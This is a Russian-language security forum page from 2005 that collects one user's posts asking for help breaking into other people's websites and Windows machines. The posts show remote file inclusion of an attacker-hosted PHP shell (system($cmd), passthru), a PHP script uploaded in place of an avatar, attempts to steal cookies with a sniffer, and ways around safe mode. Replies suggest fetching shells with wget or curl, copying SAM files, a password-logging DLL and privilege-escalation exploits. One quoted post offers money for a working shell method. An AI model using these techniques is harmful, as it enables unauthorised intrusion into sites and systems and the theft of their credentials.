Security Lab



Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти  
Форум » Пользователи » Shanker
Выбрать дату в календаре…Выбрать дату в календаре

Страницы: Пред. 1 ... 60 61 62 63 64 65 66 67 68 69 70 След.
Вставить php-файл вместо аватара
 
#
12.07.2005 19:48:37
Dimitri
Что-то твой сниффер не хочет куки тырить.
Вот что получил: [12.7.2005 19:43:40] IP=*.*.*.* REFERER=http://www.site.com/newreply.php QUERY=
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Вставить php-файл вместо аватара
 
#
12.07.2005 19:43:08
Dimitri
Код
/* сдесь нужно было внутри скобок всё выражение обрамить с обоих сторон " */
header(Location: avatar.gif);
? gt;/* пробела между этими символами быть не должно */

Надо полагать, это просто невнимательность, замаскированная под защиту от дурака ;)
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Вставить php-файл вместо аватара
 
#
12.07.2005 13:31:30
Dimitri
Цитата
для IPB, для входа в админку надо ввести пароль, так что еще скорее всего надо будет расшифровывать md5hash.
Это для IPB v1.x.x Для IPB v2.x.x - не прокатит: там дважды шифруется по md5.
У меня как раз аналогичная ситуация: доступ по паролю, да ещё непонятно как зашифровано: явно не md5

Цитата
В твоем случае надо перехватить сессию админа, потом зайти в админку, там есть раздел для загрузки файлов
Это всё понятно: когда-то именно так и делал. Но вопрос несколько другой: вот я могу вместо аватара вставить скрипт. Можно ли этим воспользоваться и вставить шелл-скрипт? По идее он должен выполняться, но у меня не выполнялся... Грузился, но результата работы я не увидел...
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Помогите с php-injecti #111;n
 
#
12.07.2005 13:22:25
rav3n
Это и ежу понятно. На серваке включён Safe Mod, который режет кучу функций. Вот я и спрашивал какими заменами функций можно воспользоваться.

Ко всему прочему меня не пускают выше директории форума...
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Вставить php-файл вместо аватара
 
#
12.07.2005 02:27:29
Большое спасибо. Так вроде бы понятно, завтра на практике испытаю.

А можно как-нибудь шелл поиметь? Пытался загрузить скрипт с содержимым:
Код
 lt;?php
passthru("ls")
? gt;


Скрипт грузится (вижу, что место под кактинку появилось), однако результата работы его не видно ни вверху ни внизу страницы
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Вставить php-файл вместо аватара
 
#
12.07.2005 00:25:28
На одном форуме можно указывать в качестве аватара удалённый http-ресурс. При указании этот файл НЕ сохраняется на серваке, а просто указывается его адрес. То есть грузится удалённо. Напрашивается мысль о возможной XSS-атаке. Но я в php не силён. Кто подскажет php-код для этого дела?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Помогите с php-injecti #111;n
 
#
11.07.2005 23:01:09
Есть некий сайт. На его самописном форуме ссылки на темы имеют вид типа: topic_id=num.
Проверил на наличие num.php - существует. При чём тот самый.
Далее в браузере ввожу: http://имя_сайта/forum/topic_id=http://www.securitylab.ru Загрузилась главная страница секлаба.
Далее: на сайт site.com забрасываю shell.php с таким содержимым: nbsp; nbsp; nbsp;lt;? system($cmd); ? gt;
Пишу:  http://имя_сайта/forum/topic_id=http://site.com/shell.php cm d=ls
получаю в ответ: Warning: system() has been disabled for security reasons in http://site.com/shell.php on line 2

Тогда в файле shell.php заменил cmd на passthru. В ответ:
Warning: passthru() has been disabled for security reasons in http://site.com/shell.php on line 1

Попытался подрубить phpshell - уже кем-то написанный. Выдаёт:
Warning: exec() has been disabled for security reasons in http://site.com/phpsh.php on line 82


Как быть?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Выполнение произвольного PHP сценария в phpBB в коде highlighting
 
#
07.07.2005 01:24:55
Stan
Наверняка на твоём форуме можно аватары заливать. Раз так  - шелл можно залить в папку images/avatars/users
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Выполнение произвольного PHP сценария в phpBB в коде highlighting
 
#
07.07.2005 01:20:10
PoizOn
Что-то я журнала на сайте не вижу...
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Выполнение произвольного PHP сценария в phpBB в коде highlighting
 
#
07.07.2005 01:05:33
Цитата
Stan пишет:
kto nibud znaet robochiy sposob zalit php shell na 2.0.15 s pravami nobody. WGET nerabotaet, hotya rabotaet esli v /tmp (mogno ego kakto ot tuda skopirovat?) , Cherez bazu output into outfile toge neprohodit, cherez INCLUDE pitalsya neche nesmog. Please pomogite esli est robochiy sposob. srazu poshlu 50 wmz esli rasskagite rabochiy sposob. mogu s protekciey pered informaciey. spasibo badstan@gmail.com
А другие команды пробовал? Может fetch, get, curl, links, lynx помогут?
Хотя прежде надо посмотреть: может, прав не хватает (веб-серверу запрещено создавать файлы)?
А копировать - команда  cp
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Как получить права Админа?
 
#
07.07.2005 00:50:14
Nimda
Клавиатурный шпион? Нет, т.к. он загрузится ПОСЛЕ аутентификации юзера. Есть замена стандартной dll отвечающей за аутентификацию: она делает всё что и стандартная + сохраняет набранное в файл. Тока детектится всеми антивирями давно

Но если нужно тока пасс поменять - ERD Commander тебе в помощь

mzzz
Цитата
Во первых, я не думаю, что это получится. Во вторых, что даст нам право к диску? Цель наша - пароль админа.
А почему не должно получиться?
А даст это нам возможность скопировать sam и system файлы.
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Как получить права Админа?
 
#
04.07.2005 21:31:14
Jul_i
Цитата
Да, кстати, файловая система-то какая?
Боюсь, она этого незнает... Придётся ей объяснять как посмотреть ФС ;)
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Как получить права Админа?
 
#
04.07.2005 21:28:00
mzzz
Цитата
Если у нее NTFS, то нишиша у нее не выйдет.
А это смотря как права распределены. И потом: если я не ошибаюсь, можно в реестре временно создать юзера через live-cd и дать ему права к диску
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Выполнение произвольного PHP сценария в phpBB в коде highlighting
 
#
30.06.2005 22:24:37
Только что-то он ругается... наверное, исходники править надо...
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Хеш кароля в vBulletin 3.x.x
 
#
27.06.2005 01:51:46
А как расшифровывать? Какая-нибудь прога для этого есть?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Как получить права Админа?
 
#
27.06.2005 01:07:26
Ещё если есть физический доступ к помпу можно создать повый пасс для любой учётной записи
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Хеш кароля в vBulletin 3.x.x
 
#
27.06.2005 01:05:53
Неужели никто не знает?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Хеш кароля в vBulletin 3.x.x
 
#
26.06.2005 18:35:59
Как этот форум шифрует пароли? Это явно не md5
Кто знает?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Как получить права Админа?
 
#
26.06.2005 18:33:23
Nimda
Я так понимаю, разговор идёт про WinNT? Юзай локальные или удалённые сплоиты для повышения привилегий. Благо их целая куча
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Пару вопросов про Mandrake 10.1
 
#
21.06.2005 11:04:31
Zyxel Omni - это win-модем?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Страницы: Пред. 1 ... 60 61 62 63 64 65 66 67 68 69 70 След.